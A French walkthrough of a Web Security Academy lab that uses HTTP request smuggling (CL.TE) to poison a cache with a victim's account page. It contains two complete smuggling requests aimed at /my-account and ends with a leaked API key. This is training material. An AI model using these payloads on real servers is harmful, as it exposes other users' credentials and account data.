Déception du cache web via request smuggling

Exploiting HTTP request smuggling to perform web cache deception

Lab: Exploiting HTTP request smuggling to perform web cache deception | Web Security AcademyWebSecAcademy

Ce laboratoire met en scène un serveur frontal et un serveur d’arrière-plan. Le serveur frontal ne prend pas en charge le chunked encoding et met en cache certaines ressources statiques.

L’objectif est de réaliser une attaque de request smuggling afin que la requête suivante envoyée par une victime provoque l’enregistrement de sa clé API dans le cache. Ensuite, il faudra récupérer cette clé API depuis le cache et la soumettre pour valider le lab. Il est nécessaire d’attendre 30 secondes après avoir accédé au lab avant d’essayer de piéger la victime.

On peut se connecter à son propre compte avec : wiener:peter

Notes

• Même si le lab supporte HTTP/2, la solution repose sur des techniques réalisables uniquement en HTTP/1. Il est possible de changer le protocole dans Burp Repeater depuis la section Request attributes de l’Inspector.

• Le laboratoire simule l’activité d’un utilisateur victime. Toutes les quelques requêtes POST envoyées par l’attaquant, la victime effectuera la sienne. Il est parfois nécessaire de répéter l’attaque pour synchroniser correctement l’enchaînement.

Analyse du comportement

Dans le panneau My account, on dispose de sa propre clé API.

On observe que le fichier tracking.js est mis en cache pendant 30 secondes.

Test initial

En envoyant la requête malformée suivante :

POST / HTTP/1.1

Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net

Content-Length: 35

Transfer-Encoding: chunked



0



GET /error HTTP/1.1

Test: A

On obtient bien une réponse 404, ce qui confirme le comportement exploitable.

Smuggling ciblé vers /my-account

On prépare ensuite une requête smuggled visant /my-account :

POST / HTTP/1.1

Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net

Content-Length: 38

Transfer-Encoding: chunked



0



GET /my-account HTTP/1.1

Test: A

Lorsque la victime envoie sa propre requête après notre injection, la réponse contenant sa clé API est stockée dans le cache à la place du fichier tracking.js.

Résultat

En chargeant ensuite la ressource mise en cache, on voit apparaître la clé API de l’administrateur :

Your API Key is: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk